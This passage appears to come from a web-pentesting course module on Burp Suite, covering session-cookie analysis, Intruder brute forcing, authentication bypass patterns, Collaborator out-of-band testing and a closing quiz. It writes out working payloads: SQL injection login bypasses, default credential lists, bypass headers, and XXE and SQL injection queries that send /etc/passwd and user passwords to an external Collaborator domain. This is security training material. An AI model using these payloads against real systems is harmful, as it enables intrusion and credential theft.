β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Cookie Analysis

Burp makes it easy to analyze session tokens for predictability, entropy, and security flags:

In Burp, go to Proxy β†’ HTTP History β†’ click any response with Set-Cookie. Check these cookie attributes:

  • βœ… HttpOnly flag β€” prevents JavaScript from reading the cookie (XSS protection)
  • βœ… Secure flag β€” cookie only sent over HTTPS
  • βœ… SameSite attribute β€” CSRF protection
  • βœ… Expiration β€” does it expire? Short-lived is better
  • βœ… Path and Domain β€” properly scoped?

Analyze session token entropy: Collect 100+ session tokens (use Intruder with null payloads), then use Burp Sequencer (Pro) to analyze randomness. Effective entropy should be > 64 bits. Look for patterns, timestamps, or sequential values.

Common weak patterns: sequential numbers (session=1001, 1002), timestamp-based (session=1706000000), username in token (session=base64(admin:timestamp)), or MD5 of predictable values.

Brute Force with Intruder

Systematic approach to brute-forcing login forms, including handling CSRF tokens, account lockouts, and rate limiting:

Step 1: Capture the login request in Repeater first:

POST /login HTTP/1.1
Host: target.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

username=admin&password=test&csrf_token=xyz789

Step 2: Handle CSRF tokens. CSRF (Cross-Site Request Forgery) tokens are unique values the server includes in forms to prevent attackers from forging requests on your behalf. If the app uses CSRF tokens, extract them via Intruder β†’ Options β†’ Grep - Extract β†’ Add. Define the regex, then use "Recursive grep" payload type.

Step 3: Choose attack type. Known username + brute password β†’ Sniper on password field. Username enumeration β†’ Sniper on username field. Both unknown β†’ Cluster Bomb (beware of lockouts).

Step 4: Identify successful login. Options β†’ Grep - Match β†’ Add patterns: "Welcome", "Dashboard", "Logout", "Invalid credentials". Sort results by status code, response length, or grep matches.

Step 5: Respect lockout policies. Test first: is there a lockout after N failed attempts? If yes, spray slowly β€” one password across all users, wait, repeat. If no, brute force freely (but be mindful of rate limits).

For Community Edition (throttled Intruder), export the request and use ffuf:

ffuf -request login.req -request-proto http -w passwords.txt -mode pitchfork

Authentication Bypass Techniques

These are the common auth bypass patterns to test through Burp Repeater:

# 1. SQL Injection in login form
username=admin' OR '1'='1'--&password=anything
username=admin'--&password=anything

# 2. Default credentials (try before brute forcing)
admin:admin, admin:password, admin:Password1
root:root, root:toor, test:test

# 3. Response manipulation
# Intercept the login response β†’ change "success":false to "success":true
# Some SPAs check client-side only!

# 4. Parameter manipulation
# Add: isAdmin=true, role=admin, admin=1
# Change: user_level=1 to user_level=0

# 5. HTTP verb tampering
# POST /login β†’ 403? Try: GET /login, PUT /login, PATCH /login

# 6. Path manipulation
# /admin β†’ 403? Try:
# /admin/ , /Admin , /ADMIN , /admin.php
# /./admin , //admin , /admin..;/

# 7. Header-based bypass
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1

πŸ’° Burp Suite Pro vs Community

Here's an honest comparison to help you decide whether Pro is worth the investment.

What Pro Gets You

  • Full-speed Intruder: Community Intruder is throttled (demo mode), making it impractical for large attacks. Pro removes the throttle entirely. This is the biggest practical difference.
  • Active Scanner: Automated vulnerability detection for SQLi, XSS, SSRF, SSTI, path traversal, and dozens more. Catches things manual testing might miss.
  • Burp Collaborator: Out-of-band vulnerability detection (blind SSRF, blind XXE, blind SQLi). Cannot be replicated for free.
  • Project saving: Community starts fresh every time. Pro saves your entire session β€” HTTP history, site map, findings, notes β€” and you can resume later.
  • Content Discovery: Built-in directory/file discovery tool with intelligent crawling.
  • BAPP Store full access: Some extensions only work with Pro features.

Workarounds for Students (Staying on Community)

Slow Intruder β†’ Use ffuf for brute forcing:

ffuf -u http://target.htb/login -X POST \
  -d "username=admin&password=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/wordlists/rockyou.txt -fc 401

No active scanner β†’ Use alternatives:

nikto -h http://target.htb
nuclei -u http://target.htb -t cves/
sqlmap -u "http://target.htb/page?id=1"

Also consider OWASP ZAP (free alternative with active scanning).

No project saving β†’ Save important requests manually: right-click β†’ "Copy as curl command" β†’ paste into notes. Or use Logger++ to export session logs.

No Collaborator β†’ Use: Interactsh (free OOB server), webhook.site (free webhook receiver), or your own server with nc -lvnp 80.

Student discount: PortSwigger offers Burp Pro at a reduced rate for students: portswigger.net/burp/pro/student

🌐 Burp Collaborator

Burp Collaborator is a Pro-only feature that provides an external server for detecting out-of-band (OOB) vulnerabilities β€” bugs where the vulnerable application makes a connection to an external system you control, rather than reflecting data back to you directly.

How Collaborator Works

# Burp generates a unique subdomain for each test:
# abc123.burpcollaborator.net

# You inject this domain into various payloads.
# If the target server makes a DNS lookup, HTTP request, or SMTP
# connection to that domain, Collaborator catches it and alerts you.

# This detects vulnerabilities that are INVISIBLE in the HTTP response:
# - Blind SSRF (server makes outbound request you never see)
# - Blind XXE (XML parser fetches external entity)
# - Blind SQL injection with out-of-band exfiltration
# - Email header injection (SMTP interaction)
# - OS command injection with blind execution

Blind SSRF Detection

# Inject Collaborator URLs anywhere the server might fetch a URL:

# In request parameters:
GET /fetch?url=http://abc123.burpcollaborator.net HTTP/1.1

# In HTTP headers:
Referer: http://abc123.burpcollaborator.net
X-Forwarded-For: abc123.burpcollaborator.net

# In webhook/callback fields:
{"webhook": "http://abc123.burpcollaborator.net/callback"}

# In PDF generators, image importers, link previewers:
[Click here](http://abc123.burpcollaborator.net)

# If you get a Collaborator hit:
# β†’ The server reached out to your Collaborator domain
# β†’ SSRF confirmed! Now try accessing internal resources:
#    http://169.254.169.254/latest/meta-data/ (AWS metadata)
#    http://127.0.0.1:8080/admin (internal admin panels)

Blind XXE Detection

# When testing XML endpoints, inject an external entity pointing to Collaborator:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.burpcollaborator.net/xxe">
]>
<root>
  <data>&xxe;</data>
</root>

# If the XML parser is vulnerable:
# 1. It resolves the entity β†’ DNS lookup to abc123.burpcollaborator.net
# 2. It fetches the URL β†’ HTTP request to Collaborator
# 3. You see the interaction in Collaborator tab

# Exfiltrate data via OOB XXE:
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://abc123.burpcollaborator.net/?data=%file;'>">
  %eval;
  %exfil;
]>
# The contents of /etc/passwd appear in the Collaborator HTTP request URL!

Blind SQLi with OOB Exfiltration

# When you suspect blind SQLi but can't use boolean or time-based techniques,
# OOB exfiltration via Collaborator can extract data:

# MySQL:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.abc123.burpcollaborator.net\\a'))

# MSSQL:
'; EXEC master..xp_dirtree '\\abc123.burpcollaborator.net\share'--

# Oracle:
SELECT UTL_HTTP.REQUEST('http://abc123.burpcollaborator.net/' || (SELECT user FROM dual)) FROM dual

# PostgreSQL:
COPY (SELECT password FROM users) TO PROGRAM 'nslookup abc123.burpcollaborator.net'

# The exfiltrated data appears as a DNS query or HTTP request in Collaborator

Free Alternatives to Collaborator

# interactsh (by ProjectDiscovery) β€” free OOB server
# Install: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Gives you a unique subdomain to use just like Collaborator

# webhook.site β€” free webhook receiver
# Visit https://webhook.site β†’ get a unique URL
# Use it for HTTP-based OOB detection

# DNS-based: use your own VPS
# Set up a DNS server on your VPS and point a domain to it
# Monitor DNS queries for your injected subdomains

# Netcat: for simple HTTP callbacks
nc -lvnp 80   # Listen for incoming HTTP requests

πŸ”„ Tool Comparison: Burp Suite vs OWASP ZAP

πŸ•·οΈ Burp Suite Pro

Price
$$$
Features
10/10
Extensibility
10/10
Scan Accuracy
10/10
Proxy
10/10

Best for: Professional pentesting engagements. Industry standard with Collaborator for OOB testing, BApp Store extensions, and the most polished workflow.

⚑ OWASP ZAP

Price
Free
Features
8/10
Extensibility
9/10
Scan Accuracy
8/10
Proxy
9/10

Best for: Students, bug bounty hunters, and CI/CD pipeline integration. Fully free and open source with active scanning, spidering, and scripting.

πŸ“š Further Reading

πŸ† Section Assessment β€” Burp Suite Mastery
Which Burp extension automatically detects broken access control by replaying requests with lower-privilege cookies?
Autorize is purpose-built for authorization testing. You configure it with a low-privilege user's cookies, then browse as admin. Autorize automatically replays every admin request with the low-priv cookies and flags endpoints where access isn't properly enforced (shown in red). This catches IDOR and broken access control β€” the #1 vulnerability on the OWASP Top 10.
You're testing a login form and want to detect if it's vulnerable to SQL injection. Which Burp tool should you use first?
Always test manually in Repeater first. Send the login request to Repeater (Ctrl+R), add a single quote to the username (admin'), and observe the response. If you see a SQL error or different behavior, you've confirmed injection β€” then you can escalate to SQLMap or Intruder. Going straight to automated tools without manual verification is noisy and teaches you nothing about the vulnerability.
What is the main limitation of Burp Suite Community Edition compared to Pro?
Community Edition has full Proxy, Repeater, and Decoder functionality. The key limitations are: Intruder is throttled (demo mode, far slower than Pro), there's no Scanner (passive or active), no Burp Collaborator (out-of-band testing), and no project saving. For brute forcing, use ffuf or Hydra as alternatives. For scanning, use OWASP ZAP or nuclei.
Why is it important to install Burp's CA certificate in your browser?
Burp acts as a man-in-the-middle proxy. For HTTPS, it generates its own certificates on-the-fly. Without trusting Burp's CA certificate, your browser will show certificate errors for every HTTPS site, and sites with HSTS will refuse to load entirely. Installing the CA cert takes 30 seconds and is essential for testing any modern web application.
In an Intruder attack, most responses return status 401 and length 1500, but one response returns status 302 and length 0. What does this likely indicate?
When brute-forcing a login form, a different status code and response length is a strong signal. A 302 redirect (to a dashboard or profile page) while everything else returns 401 (Unauthorized) means that specific credential combination succeeded. Always look for anomalies in status codes, response lengths, and response times when analyzing Intruder results.